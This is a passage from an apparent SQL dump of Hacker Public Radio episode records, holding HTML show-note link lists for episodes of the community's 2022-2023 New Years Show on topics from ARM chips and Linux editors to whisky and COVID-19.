href=\"https://en.wikipedia.org/wiki/Apple_M1\">wikipedia:</a>\nApple M1 is a series of ARM-based systems-on-a-chip (SoCs) designed by\nApple Inc. as a central processing unit (CPU) and graphics processing\nunit (GPU) for its Mac desktops and notebooks, and the iPad Pro and iPad\nAir tablets.\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Apple_M2\">wikipedia:</a> The\nApple M2 is an ARM-based system on a chip (SoC) designed by Apple Inc.\nas a central processing unit (CPU) and graphics processing unit (GPU)\nfor its Mac notebooks and the iPad Pro tablet.</li>\n</ul></li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/System_on_a_chip\">wikipedia:</a> A\nsystem on a chip or system-on-chip (SoC /&#x2CC;&#x2C8;&#x25B;so&#x28A;si&#x2D0;/; pl. SoCs\n/&#x2CC;&#x2C8;&#x25B;so&#x28A;si&#x2D0;z/) is an integrated circuit that integrates most or all\ncomponents of a computer or other electronic system.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/ARM_architecture_family\">wikipedia:</a>\nARM (stylised in lowercase as arm, formerly an acronym for Advanced RISC\nMachines and originally Acorn RISC Machine) is a family of reduced\ninstruction set computer (RISC) instruction set architectures for\ncomputer processors, configured for various environments.</li>\n<li><a\nhref=\"https://www.youtube.com/channel/UCBZ1wrhV3ZiGCwjBP1Bcs_A\">youtube:</a>\nOne Woman&#x2019;s Wilderness.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Felix_Unger\">wikipedia:</a>\nFelix Unger (born 2 March 1946 in Klagenfurt, Austria) is a heart\nspecialist who served as the president of the European Academy of\nSciences and Arts for three decades.</li>\n<li><a\nhref=\"https://geekflare.com/create-apt-proxy-on-raspberrypi/\">geekflare:</a>\nHow to create APT Proxy using a Raspberry PI with apt-cacher-ng?</li>\n<li><a href=\"https://www.gpd.hk/gpdwin4\">gpd:</a> The world\'s smallest\n6800U handheld Exclusive performance optimization tool Support SteamOS\nsystem.</li>\n<li><a\nhref=\"https://www.pine64.org/devices/single-board-computers/rock64/\">pine64:</a>\nROCK64 is a credit card sized Single Board Computer powered by Rockchip\nRK3328 quad-core ARM Cortex A53 64-Bit Processor and support up to 4GB\n1600MHz LPDDR3 memory.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Digital_subscriber_line\">wikipedia:</a>\nDigital subscriber line (DSL; originally digital subscriber loop) is a\nfamily of technologies that are used to transmit digital data over\ntelephone lines.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Windows_Subsystem_for_Linux\">wikipedia:</a>\nWindows Subsystem for Linux (WSL) is a feature of Windows that allows\ndevelopers to run a Linux environment without the need for a separate\nvirtual machine or dual booting.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Virtual_machine\">wikipedia:</a> In\ncomputing, a virtual machine (VM) is the virtualization/emulation of a\ncomputer system.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Chromebook\">wikipedia:</a> A\nChromebook (sometimes stylized in lowercase as chromebook) is a laptop\nor tablet running the Linux-based ChromeOS as its operating system.</li>\n<li><a href=\"https://www.virtualbox.org\">virtualbox:</a> VirtualBox is a\npowerful x86 and AMD64/Intel64 virtualization product for enterprise as\nwell as home use.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Telemetry\">wikipedia:</a>\nTelemetry is the in situ collection of measurements or other data at\nremote points and their automatic transmission to receiving equipment\n(telecommunication) for monitoring.</li>\n<li><a href=\"https://www.gnu.org/licenses/licenses.html\">gnu:</a>\nPublished software should be free software. To make it free software,\nyou need to release it under a free software license.</li>\n<li><a\nhref=\"https://www.microsoft.com/en-us/UseTerms/Retail/Windows/11/UseTerms_Retail_Windows_11_English.htm\">microsoft:</a>\nMICROSOFT SOFTWARE LICENSE TERMS.</li>\n<li><a href=\"https://www.apple.com/legal/sla/\">apple:</a> software\nlicense agreements for currently shipping Apple products.</li>\n<li><a\nhref=\"https://www.cdc.gov/phlp/publications/topic/hipaa.html\">cdc:</a>\nHealth Insurance Portability and Accountability Act of 1996\n(HIPAA).</li>\n<li><a href=\"https://www.nhs.uk/\">nhs:</a> The NHS website for\nEngland.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Ransomware\">wikipedia:</a>\nRansomware is a type of malware from cryptovirology that threatens to\npublish the victim\'s personal data or permanently block access to it\nunless a ransom is paid off.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Internet_Explorer\">wikipedia:</a>\nInternet Explorer (formerly Microsoft Internet Explorer and Windows\nInternet Explorer, commonly abbreviated IE or MSIE) is a discontinued\nseries of graphical web browsers developed by Microsoft which was used\nin the Windows line of operating systems.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Microsoft_Edge\">wikipedia:</a>\nMicrosoft Edge is a proprietary, cross-platform web browser created by\nMicrosoft.</li>\n<li><a href=\"https://www.oggcamp.org/\">oggcamp:</a> OggCamp is an\nunconference celebrating Free Culture, Free and Open Source Software,\nhardware hacking, digital rights, and all manner of collaborative\ncultural activities and is committed to creating a conference that is as\ninclusive as possible.</li>\n<li><a href=\"https://2022.penguicon.org/\">penguicon:</a> A happy place\nwhere hackers, makers, foodies, open source software junkies, anime\nbuffs, and science fiction fans of all ages and backgrounds come\ntogether.</li>\n<li><a href=\"https://www.mozillafestival.org/en/\">mozillafestival:</a>\nMozFest is a unique hybrid: part art, tech and society convening, part\nmaker festival, and the premiere gathering for activists in diverse\nglobal movements fighting for a more humane digital world.</li>\n<li><a href=\"https://fosdem.org/2023/\">fosdem:</a> FOSDEM is a free\nevent for software developers to meet, share ideas and collaborate.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Hybrid_integrated_circuit\">wikipedia:</a>\nA hybrid integrated circuit (HIC), hybrid microcircuit, hybrid circuit\nor simply hybrid is a miniaturized electronic circuit constructed of\nindividual devices, such as semiconductor devices (e.g. transistors,\ndiodes or monolithic ICs) and passive components (e.g. resistors,\ninductors, transformers, and capacitors), bonded to a substrate or\nprinted circuit board (PCB).</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Real-time_clock\">wikipedia:</a> A\nreal-time clock (RTC) is an electronic device (most often in the form of\nan integrated circuit) that measures the passage of time.</li>\n<li><a href=\"https://eurovision.tv/\">eurovision:</a> The Eurovision Song\nContest.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Blue_law\">wikipedia:</a> Blue\nlaws, also known as Sunday laws, Sunday trade laws and Sunday closing\nlaws, are laws restricting or banning certain activities on specified\ndays, usually Sundays in the western world.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Census\">wikipedia:</a> A\ncensus is the procedure of systematically acquiring, recording and\ncalculating information about the members of a given population.</li>\n<li><a\nhref=\"https://www.businesspundit.com/the-commercialization-our-25-favorite-holidays/\">businesspundit:</a>\nThe Commercialization Of Our 25 Favorite Holidays</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Leave_It_to_Beaver\">wikipedia:</a>\nLeave It to Beaver is an iconic American television situation comedy\nabout an American family of the 1950s and early 1960s.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/COVID-19_pandemic\">wikipedia:</a>\nThe COVID-19 pandemic, also known as the coronavirus pandemic, is an\nongoing global pandemic of coronavirus disease 2019 (COVID-19) caused by\nsevere acute respiratory syndrome coronavirus 2 (SARS-CoV-2). The novel\nvirus was first identified in an outbreak in the Chinese city of Wuhan\nin December 2019.</li>\n<li><a\nhref=\"https://www.who.int/westernpacific/emergencies/covid-19/information/transmission-protective-measures\">who:</a>\nCOVID-19 transmission and protective measures.</li>\n<li><a\nhref=\"https://www.forbes.com/sites/brucelee/2020/06/13/cdc-10-ways-to-dine-safely-at-a-restaurant-with-coronavirus-around/?sh=156b74656444\">forbes:</a>\nCDC: 10 Ways To Dine Safely At A Restaurant With Coronavirus\nAround.</li>\n<li><a\nhref=\"https://restaurant.org/nra/media/downloads/pdfs/business/covid-19-restaurant-impact-survey-september-2021.pdf\">restaurant:</a>\nCOVID-19 Restaurant Impact Survey.</li>\n<li><a href=\"https://www.subway.com/en-us\">subway:</a> Subway is an\nAmerican multinational fast food restaurant franchise that specializes\nin submarine sandwiches, wraps, salads and drinks.</li>\n<li><a href=\"https://dominos.com/\">dominos:</a> Domino\'s Pizza, Inc.,\ntrading as Domino\'s, is a Michigan-based multinational pizza restaurant\nchain founded in 1960 and led by CEO Russell Weiner.</li>\n<li><a href=\"https://www.mcdonalds.com/us/en-us.html\">mcdonalds:</a>\nMcDonald\'s Corporation is an American multinational fast food chain,\nfounded in 1940 as a restaurant operated by Richard and Maurice\nMcDonald, in San Bernardino, California, United States.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Social_distancing\">wikipedia:</a> In\npublic health, social distancing, also called physical distancing, is a\nset of non-pharmaceutical interventions or measures intended to prevent\nthe spread of a contagious disease by maintaining a physical distance\nbetween people and reducing the number of times people come into close\ncontact with each other.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/COVID-19_lockdowns\">wikipedia:</a>\nDue to the COVID-19 pandemic, a number of non-pharmaceutical\ninterventions colloquially known as lockdowns (encompassing stay-at-home\norders, curfews, quarantines, cordons sanitaires and similar societal\nrestrictions) have been implemented in numerous countries and\nterritories around the world.\n<ul>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/COVID-19_lockdowns_by_country\">wikipedia:</a>\nCOVID-19 lockdowns by country.</li>\n</ul></li>\n<li><a href=\"https://www.bbc.com/news/av/explainers-55048805\">bbc:</a>\nCovid-19: What is the new three tier system after lockdown?</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Telephone_directory\">wikipedia:</a>\nA telephone directory, commonly called a telephone book, telephone\naddress book, phonebook, or the white and yellow pages, is a listing of\ntelephone subscribers in a geographical area or subscribers to services\nprovided by the organization that publishes the directory.</li>\n<li><a\nhref=\"https://www.cdc.gov/diabetes/managing/manage-blood-sugar.html\">cdc:</a>\nIt&#x2019;s important to keep your blood sugar levels in your target range as\nmuch as possible to help prevent or delay long-term, serious health\nproblems, such as heart disease, vision loss, and kidney disease.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Whisky\">wikipedia:</a> Whisky\nor whiskey is a type of distilled alcoholic beverage made from fermented\ngrain mash.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Powerade\">wikipedia:</a>\nPowerade is a sports drink created, manufactured and marketed by The\nCoca-Cola Company.</li>\n<li><a href=\"https://katexic.com/word/busthead-bust-head/\">katexic:</a>\nbusthead (bust-head). noun. Cheap, strong liquor, usually of the illegal\nvariety.</li>\n<li><a href=\"https://www.skrewballwhiskey.com/\">skrewballwhiskey:</a>\nThe Original Peanut Butter Whiskey.</li>\n<li><a\nhref=\"https://olesmoky.com/products/peanut-butter-whiskey\">olesmoky:</a>\nPeanut Butter Whiskey.</li>\n<li><a\nhref=\"https://thepartysource.com/Blind-Squirrel-Peanut-Butter-Whiskey-750-ml\">thepartysource:</a>\nBlind Squirrel Peanut Butter Whiskey 750 ml.</li>\n</ul>\n<p>Thanks To:<br />\nMumble Server: Delwin<br />\nHPR Site/VPS: Joshua Knapp - AnHonestHost.com<br />\nStreams: Honkeymagoo<br />\nEtherPad: HonkeyMagoo<br />\nShownotes by: Sgoti and hplovecraft</p>\n',159,121,1,'CC-BY-SA','hpr,new years,community',0,0,1),
(3844,'2023-04-27','2022-2023 New Years Show Episode 6',7254,'2022 - 2023 new years show where people come together and chat','<h2 id=\"episode-6\">Episode #6</h2>\n<ul>\n<li><p>Waygu Beef<br />\n<a href=\"https://wagyu.org/breed-info/what-is-wagyu/\"\nclass=\"uri\">https://wagyu.org/breed-info/what-is-wagyu/</a></p></li>\n<li><p>Tom Selleck<br />\n<a href=\"https://en.wikipedia.org/wiki/Tom_Selleck\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Tom_Selleck</a></p></li>\n<li><p>Mister Baseball (with Tom Selleck)<br />\n<a href=\"https://www.imdb.com/title/tt0104926/\"\nclass=\"uri\">https://www.imdb.com/title/tt0104926/</a><br />\n<a href=\"https://en.wikipedia.org/wiki/Mr._Baseball\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Mr._Baseball</a></p></li>\n<li><p>FOSDEM<br />\n<a href=\"https://fosdem.org/2023/\"\nclass=\"uri\">https://fosdem.org/2023/</a></p></li>\n<li><p>Budweiser<br />\n<a href=\"https://us.budweiser.com/\"\nclass=\"uri\">https://us.budweiser.com/</a></p></li>\n<li><p>\"Natty\" Light<br />\n<a href=\"https://www.naturallight.com/\"\nclass=\"uri\">https://www.naturallight.com/</a></p></li>\n<li><p>Twisted Tea<br />\n<a href=\"https://www.twistedtea.com/\"\nclass=\"uri\">https://www.twistedtea.com/</a></p></li>\n<li><p>Pisswasser<br />\n<a href=\"https://www.urbandictionary.com/define.php?term=Pi%C3%9Fwasser\"\nclass=\"uri\">https://www.urbandictionary.com/define.php?term=Pi%C3%9Fwasser</a></p></li>\n<li><p>Bud Light<br />\n<a href=\"https://www.budlight.com/\"\nclass=\"uri\">https://www.budlight.com/</a></p></li>\n<li><p>Jim Koch (Sam Adams Beer)<br />\n<a href=\"https://www.forbes.com/profile/jim-koch/?sh=6854744623d9\"\nclass=\"uri\">https://www.forbes.com/profile/jim-koch/?sh=6854744623d9</a></p></li>\n<li><p>Arch Linux<br />\n<a href=\"https://archlinux.org/\"\nclass=\"uri\">https://archlinux.org/</a></p></li>\n<li><p>Samson Q2U Microphone<br />\n<a\nhref=\"http://www.samsontech.com/samson/products/microphones/usb-microphones/q2u/\"\nclass=\"uri\">http://www.samsontech.com/samson/products/microphones/usb-microphones/q2u/</a></p></li>\n<li><p>ATR-2100 Microphone<br />\n<a href=\"https://www.audio-technica.com/en-us/atr2100-usb\"\nclass=\"uri\">https://www.audio-technica.com/en-us/atr2100-usb</a></p></li>\n<li><p>Devrandom Podcast<br />\n<a href=\"http://devrandomshow.org/\"\nclass=\"uri\">http://devrandomshow.org/</a></p></li>\n<li><p>Flavordex (Fdroid App)<br />\n<a href=\"https://f-droid.org/en/packages/com.ultramegasoft.flavordex2/\"\nclass=\"uri\">https://f-droid.org/en/packages/com.ultramegasoft.flavordex2/</a></p></li>\n<li><p>Castopod<br />\n<a href=\"https://nlnet.nl/project/Castopod/\"\nclass=\"uri\">https://nlnet.nl/project/Castopod/</a></p></li>\n<li><p>Lightning Network<br />\n<a href=\"https://lightning.network/\"\nclass=\"uri\">https://lightning.network/</a></p></li>\n<li><p>Bitcoin<br />\n<a href=\"https://bitcoin.org/en/\"\nclass=\"uri\">https://bitcoin.org/en/</a></p></li>\n<li><p>Patreon<br />\n<a href=\"https://www.patreon.com/\"\nclass=\"uri\">https://www.patreon.com/</a></p></li>\n<li><p>Substack<br />\n<a href=\"https://substack.com/\"\nclass=\"uri\">https://substack.com/</a></p></li>\n<li><p>Dynamic Ad Insertion for Podcasts<br />\n<a\nhref=\"https://www.tritondigital.com/news-item/November-30-2020/podcast-dynamic-ad-insertion-101-what-radio-broadcasters-need-to-know\"\nclass=\"uri\">https://www.tritondigital.com/news-item/November-30-2020/podcast-dynamic-ad-insertion-101-what-radio-broadcasters-need-to-know</a></p></li>\n<li><p>ADJUST<br />\n<a href=\"https://www.adjust.com/product/\"\nclass=\"uri\">https://www.adjust.com/product/</a></p></li>\n<li><p>CNC Machine<br />\n<a href=\"https://craftbuds.com/what-is-a-cnc-machine/\"\nclass=\"uri\">https://craftbuds.com/what-is-a-cnc-machine/</a></p></li>\n<li><p>Applovin<br />\n<a href=\"https://www.applovin.com/\"\nclass=\"uri\">https://www.applovin.com/</a></p></li>\n<li><p>Maintainable Podcast<br />\n<a href=\"https://www.maintainable.fm/\"\nclass=\"uri\">https://www.maintainable.fm/</a></p></li>\n<li><p>Ruby On Rails<br />\n<a href=\"https://rubyonrails.org/\"\nclass=\"uri\">https://rubyonrails.org/</a></p></li>\n<li><p>Thinking Elixir (podcast)<br />\n<a href=\"https://podcast.thinkingelixir.com/\"\nclass=\"uri\">https://podcast.thinkingelixir.com/</a></p></li>\n<li><p>Distro Hoppers Digest (Podcast)<br />\n<a href=\"https://distrohoppersdigest.blogspot.com/\"\nclass=\"uri\">https://distrohoppersdigest.blogspot.com/</a></p></li>\n<li><p>Matrix<br />\n<a href=\"https://matrix.org/\"\nclass=\"uri\">https://matrix.org/</a></p></li>\n<li><p>MIT License<br />\n<a href=\"https://en.wikipedia.org/wiki/MIT_License\"\nclass=\"uri\">https://en.wikipedia.org/wiki/MIT_License</a><br />\n<a href=\"https://opensource.org/licenses/MIT\"\nclass=\"uri\">https://opensource.org/licenses/MIT</a></p></li>\n<li><p>BSD 2-Clause License<br />\n<a\nhref=\"https://en.wikipedia.org/wiki/BSD_licenses#2-clause_license_(%22Simplified_BSD_License%22_or_%22FreeBSD_License%22)\"\nclass=\"uri\">https://en.wikipedia.org/wiki/BSD_licenses#2-clause_license_(%22Simplified_BSD_License%22_or_%22FreeBSD_License%22)</a><br />\n<a href=\"https://opensource.org/licenses/BSD-2-Clause\"\nclass=\"uri\">https://opensource.org/licenses/BSD-2-Clause</a></p></li>\n<li><p>GPL License<br />\n<a href=\"https://en.wikipedia.org/wiki/GNU_General_Public_License\"\nclass=\"uri\">https://en.wikipedia.org/wiki/GNU_General_Public_License</a><br />\n<a href=\"https://www.gnu.org/licenses/gpl-3.0.en.html\"\nclass=\"uri\">https://www.gnu.org/licenses/gpl-3.0.en.html</a></p></li>\n<li><p>Open UK License<br />\n<a href=\"https://en.wikipedia.org/wiki/Open_Government_Licence\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Open_Government_Licence</a></p></li>\n<li><p>Podcasting 2.0<br />\n<a href=\"https://origin.fm/blog/podcasting-2point0/\"\nclass=\"uri\">https://origin.fm/blog/podcasting-2point0/</a><br />\n<a href=\"https://9to5mac.com/2022/06/26/podcasting-2-0/\"\nclass=\"uri\">https://9to5mac.com/2022/06/26/podcasting-2-0/</a></p></li>\n<li><p>Podcast Chapter Marks<br />\n<a href=\"https://audioaudit.io/articles/podcast/chapters\"\nclass=\"uri\">https://audioaudit.io/articles/podcast/chapters</a></p></li>\n<li><p>AC/DC<br />\n<a href=\"https://www.acdc.com/\"\nclass=\"uri\">https://www.acdc.com/</a></p></li>\n<li><p>The British Lettuce Situation<br />\n<a href=\"https://en.wikipedia.org/wiki/Liz_Truss_lettuce\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Liz_Truss_lettuce</a></p></li>\n<li><p>AK-74<br />\n<a href=\"https://en.wikipedia.org/wiki/AK-74\"\nclass=\"uri\">https://en.wikipedia.org/wiki/AK-74</a></p></li>\n<li><p>M16<br />\n<a href=\"http://www.military-today.com/firearms/m16.htm\"\nclass=\"uri\">http://www.military-today.com/firearms/m16.htm</a></p></li>\n<li><p>M4<br />\n<a href=\"http://www.military-today.com/firearms/m4.htm\"\nclass=\"uri\">http://www.military-today.com/firearms/m4.htm</a></p></li>\n<li><p>Plumble<br />\n<a href=\"https://f-droid.org/packages/com.morlunk.mumbleclient/\"\nclass=\"uri\">https://f-droid.org/packages/com.morlunk.mumbleclient/</a></p></li>\n<li><p>WBP (Polish Weapon Manufacturer)<br />\n<a href=\"https://www.wbprogow.com/\"\nclass=\"uri\">https://www.wbprogow.com/</a></p></li>\n<li><p>What Does The Name \"Joe\" mean<br />\n<a href=\"https://www.thebump.com/b/joe-baby-name\"\nclass=\"uri\">https://www.thebump.com/b/joe-baby-name</a></p></li>\n<li><p>Ciaran (name meaning)<br />\n<a href=\"https://en.wikipedia.org/wiki/Ciar%C3%A1n\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Ciar%C3%A1n</a></p></li>\n<li><p>Tala (name meaning)<br />\n<a href=\"https://www.babycentre.co.uk/babyname/1036725/tala\"\nclass=\"uri\">https://www.babycentre.co.uk/babyname/1036725/tala</a></p></li>\n<li><p>Plate Tectonics<br />\n<a href=\"https://www.livescience.com/37706-what-is-plate-tectonics.html\"\nclass=\"uri\">https://www.livescience.com/37706-what-is-plate-tectonics.html</a></p></li>\n<li><p>Seattle<br />\n<a href=\"https://visitseattle.org/\"\nclass=\"uri\">https://visitseattle.org/</a></p></li>\n<li><p>Vancouver<br />\n<a href=\"https://www.destinationvancouver.com/\"\nclass=\"uri\">https://www.destinationvancouver.com/</a></p></li>\n</ul>\n<p>Thanks To:<br />\nMumble Server: Delwin<br />\nHPR Site/VPS: Joshua Knapp - AnHonestHost.com<br />\nStreams: Honkeymagoo<br />\nEtherPad: HonkeyMagoo<br />\nShownotes by: Sgoti and hplovecraft</p>\n',159,121,1,'CC-BY-SA','hpr,new years,community',0,0,1),
(3854,'2023-05-11','2022-2023 New Years Show Episode 7',7194,'2022 - 2023 new years show where people come together and chat','<h2 id=\"episode-7\">Episode #7</h2>\n<ul>\n<li><a\nhref=\"https://www.huffpost.com/entry/vintage-slang-terms-drunk_n_4268480\">huffpost:</a>\nVintage Slang Terms For Being Drunk Are Hilarious A Century Later.</li>\n<li><a\nhref=\"https://www.theshrimpfarm.com/articles/cherry_shrimp_breeding.php\">theshrimpfarm:</a>\nRed Cherry Shrimp are one of the simplest animals to breed in the\naquarium.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Habsburg_family_tree\">wikipedia:</a>\nThis is a family tree of the Habsburg family.\n<ul>\n<li><a href=\"https://www.youtube.com/watch?v=36hM5bfLCI8\">youtube:</a>\nTHE HABSBURG: Their Inbred Family Tree was a Circle!- Explained with\nReal Life Faces.</li>\n</ul></li>\n<li><a href=\"https://www.ancestry.com/\">ancestry:</a> Ancestry helps you\nunderstand your genealogy.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/AK-47\">wikipedia:</a> The\nAK-47, officially known as the Avtomat Kalashnikova (Russian: &#x410;&#x432;&#x442;&#x43E;&#x43C;&#x430;&#x442;\n&#x41A;&#x430;&#x43B;&#x430;&#x448;&#x43D;&#x438;&#x43A;&#x43E;&#x432;&#x430;, lit.\n<ul>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Mikhail_Kalashnikov\">wikipedia:</a>\nMikhail Timofeyevich Kalashnikov, IPA: 10 November 1919 &#x2013; 23 December\n2013) was a Soviet and Russian lieutenant general, inventor, military\nengineer, writer, and small arms designer.</li>\n</ul></li>\n<li><a href=\"https://www.youtube.com/watch?v=cwUkeIZ11tk\">youtube:</a>\nReview new SV-18 12.7mm .50 caliber Kalashnikov sniper rifle Army-2019\ndefense exhibition Russia.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Gulag\">wikipedia:</a> The\nGulag was the government agency in charge of the Soviet network of\nforced labour camps which were set up by order of Vladimir Lenin,\nreaching its peak during Joseph Stalin\'s rule from the 1930s to the\nearly 1950s.</li>\n<li><a href=\"https://techandcoffee.info/\">techandcoffee:</a> A virtual\nwater cooler for the world of tech.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Hippie\">wikipedia:</a> A\nhippie, also spelled hippy, especially in British English, is someone\nassociated with the counterculture of the 1960s, originally a youth\nmovement that began in the United States during the mid-1960s and spread\nto different countries around the world.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Cult\">wikipedia:</a> In\nmodern English, cult is a term, by some considered pejorative, for a\nsocial group that is defined by its unusual religious, spiritual, or\nphilosophical beliefs and rituals, or its common interest in a\nparticular personality, object, or goal.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Deity\">wikipedia:</a> A deity\nor god is a supernatural being who is considered divine or sacred.</li>\n<li><a href=\"https://www.youtube.com/watch?v=ICmhG9FEBpU\">youtube:</a>\nMarty Moose Theme Song.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Doogie_Howser,_M.D.\">wikipedia:</a>\nDoogie Howser, M.D. is an American medical sitcom that ran for four\nseasons on ABC from September 19, 1989, to March 24, 1993, totaling 97\nepisodes.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Google%2B\">wikipedia:</a>\nGoogle+ (pronounced and sometimes written as Google Plus; sometimes\ncalled G+) was a social network owned and operated by Google. The\nnetwork was launched on June 28, 2011, in an attempt to challenge other\nsocial networks, linking other Google products like Google Drive,\nBlogger and YouTube.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Google_Hangouts\">wikipedia:</a>\nGoogle Hangouts is a discontinued cross-platform instant messaging\nservice developed by Google.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Mr._Robot\">wikipedia:</a> Mr.\nRobot is an American drama thriller television series created by Sam\nEsmail for USA Network.</li>\n<li><a href=\"https://www.kali.org/\">kali:</a> Kali Linux is an\nopen-source, Debian-based Linux distribution geared towards various\ninformation security tasks, such as Penetration Testing, Security\nResearch, Computer Forensics and Reverse Engineering.</li>\n<li><a href=\"https://crunchbang.org/\">crunchbang:</a> CrunchBang was a\nDebian GNU/Linux based distribution offering a great blend of speed,\nstyle and substance.</li>\n<li><a href=\"https://www.bunsenlabs.org/\">bunsenlabs:</a> BunsenLabs\nLinux Beryllium is a distribution offering a light-weight and easily\ncustomizable Openbox desktop.</li>\n<li><a href=\"https://hackerpublicradio.org/contribute.php\">HPR:</a> So\nyou want to do a podcast?</li>\n<li><a href=\"https://www.pcbway.com/\">pcbway:</a> Professional PCB\nprototype with guaranteed quality for PCB prototype, We can produce\nhigh-quality PCBs with competitive price both for prototypes and low\nvolumes.</li>\n<li><a href=\"https://www.mouser.com/\">mouser:</a> Mouser Electronics\nstocks the world&#x2019;s widest selection of semiconductors and electronic\ncomponents.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Analog_computer\">wikipedia:</a> An\nanalog computer or analogue computer is a type of computer that uses the\ncontinuous variation aspect of physical phenomena such as electrical,\nmechanical, or hydraulic quantities to model the problem being\nsolved.</li>\n<li><a href=\"https://olfconference.org/about/\">olfconference:</a> OLF\n(formerly known as Ohio LinuxFest) is a grassroots conference for the\nGNU/Linux/Open Source Software/Free Software community that started in\n2003 as a large inter-LUG (Linux User Group) meeting and has grown\nsteadily since.</li>\n<li><a href=\"https://joinmastodon.org/\">joinmastodon:</a> Mastodon is\nfree and open-source software for running self-hosted social networking\nservices.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Whose_Line_Is_It_Anyway%3F\">wikipedia:</a>\nWhose Line Is It Anyway? is a short-form improvisational comedy show\noriginating as a British radio programme, before moving to British\ntelevision in 1988.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Doctor_of_Philosophy\">wikipedia:</a>\nA Doctor of Philosophy (PhD, Ph.D., or DPhil; Latin: philosophiae doctor\nor doctor philosophiae) is the most common degree at the highest\nacademic level awarded following a course of study.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Deadpan\">wikipedia:</a>\nDeadpan, dry humour, or dry-wit humour is the deliberate display of\nemotional neutrality or no emotion, commonly as a form of comedic\ndelivery to contrast with the ridiculousness or absurdity of the subject\nmatter.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Alzheimer%27s_disease\">wikipedia:</a>\nAlzheimer\'s disease (AD) is a neurodegenerative disease that usually\nstarts slowly and progressively worsens. It is the cause of 60&#x2013;70% of\ncases of dementia.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Sarcasm\">wikipedia:</a>\nSarcasm is the caustic use of words, often in a humorous way, to mock\nsomeone or something.</li>\n<li><a\nhref=\"https://distrohoppersdigest.blogspot.com/\">distrohoppersdigest:</a>\nWe are three Blokes who love Linux and trying out new stuff.</li>\n<li><a href=\"https://www.vim.org/\">vim:</a> Vim - the ubiquitous text\neditor.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Vi\">wikipedia:</a> vi\n(pronounced as distinct letters, /&#x2CC;vi&#x2D0;&#x2C8;a&#x26A;/)[1] is a screen-oriented text\neditor originally created for the Unix operating system.</li>\n<li><a href=\"https://www.nano-editor.org/\">nano:</a> Text Editor\nHomepage.</li>\n<li><a href=\"https://www.gnu.org/software/emacs/\">gnu:</a>\n<code>emacs</code> is an extensible, customizable, free/libre text\neditor &#x2014; and more.</li>\n<li><a href=\"https://kate-editor.org/\">kate:</a> Kate is packed with\nfeatures that will make it easier for you to view and edit all your text\nfiles.</li>\n<li><a href=\"https://help.gnome.org/users/gedit/stable/\">gnome:</a>\nWelcome to the gedit help guide.</li>\n<li><a\nhref=\"https://apps.microsoft.com/store/detail/windows-notepad/9MSMLRH6LZF3?hl=en-us&amp;gl=us\">microsoft:</a>\nWindows Notepad.</li>\n<li><a\nhref=\"https://www.microsoft.com/en-us/microsoft-365/onenote/digital-note-taking-app?ms.url=onenotecom&amp;rtc=1\">microsoft:</a>\nMicrosoft OneNote. Your digital notebook.</li>\n<li><a\nhref=\"https://support.microsoft.com/en-us/windows/use-snipping-tool-to-capture-screenshots-00246869-1843-655f-f220-97299b865f6b\">microsoft:</a>\nUse Snipping Tool to capture screenshots.</li>\n<li><a href=\"https://www.gimp.org/\">gimp:</a> GIMP is a free and\nopen-source raster graphics editor used for image manipulation and image\nediting, free-form drawing, transcoding between different image file\nformats, and more specialized tasks.</li>\n<li><a href=\"https://krita.org/\">krita:</a> Krita is a professional FREE\nand open source painting program.</li>\n<li><a\nhref=\"https://www.urbandictionary.com/define.php?term=big%20spoon\">urbandictionary:</a>\nbig spoon.</li>\n<li><a href=\"https://birddogwhiskey.com/\">birddogwhiskey:</a> Bird Dog\nWhiskey.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Sambuca\">wikipedia:</a>\nSambuca is an Italian anise-flavoured, usually colourless, liqueur.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Amaretto\">wikipedia:</a>\nAmaretto is a sweet Italian liqueur that originated in Saronno.</li>\n<li><a\nhref=\"https://www.newyorker.com/humor/daily-shouts/cooties-a-medical-guide\">newyorker:</a>\nCooties: A Medical 